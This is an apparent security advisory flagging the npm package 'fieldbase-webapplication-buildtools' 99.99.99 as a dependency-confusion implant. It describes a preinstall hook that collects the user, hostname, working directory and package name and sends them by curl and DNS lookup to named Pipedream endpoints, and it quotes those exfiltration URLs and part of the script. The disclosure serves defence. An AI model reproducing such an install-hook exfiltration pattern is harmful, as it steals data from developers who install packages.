GCVE-110-OSM-2026-11594

The OpenSSF Package Analysis project identified 'fieldbase-webapplication-buildtools' @ 99.99.99 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity. - The package executes one or more commands associated with malicious behavior. Judge assessment: This looks like a dependency-confusion style implant by a fresh attacker-controlled npm account, with a preinstall/install hook that runs a shell pipeline to collect $(whoami), $(hostname), $(pwd), and $npm_package_name and then sends it to a Pipedream endpoint. The literal curl to https://eoy34oyrep9j5x8.m.pipedream.net/$b64; and the nslookup of pkgdns.eoy34oyrep9j5x8.m.pipedream.net are clear exfil/C2 behaviors, not legitimate build tooling. The package version 99.99.99, one-off publication, no repository, and brand-new publisher strengthen the attacker model that this is a malicious public package meant to outrank an internal package name. The OSV MAL advisory is corroborated by the actual package.json contents and recovered IOCs. ENTRY index.js (main: index.js) - Preinstall Script in package.json: ""preinstall": "b64=$(printf '%s' \"" DESTINATION - 3 exfil (custom-c2) (values recorded in verified_iocs) EXFIL - OAST/Interactsh Exfiltration in package.json: "pipedream.net" ADDITIONAL FINDINGS - Brand New Package - Very New NPM Publisher Account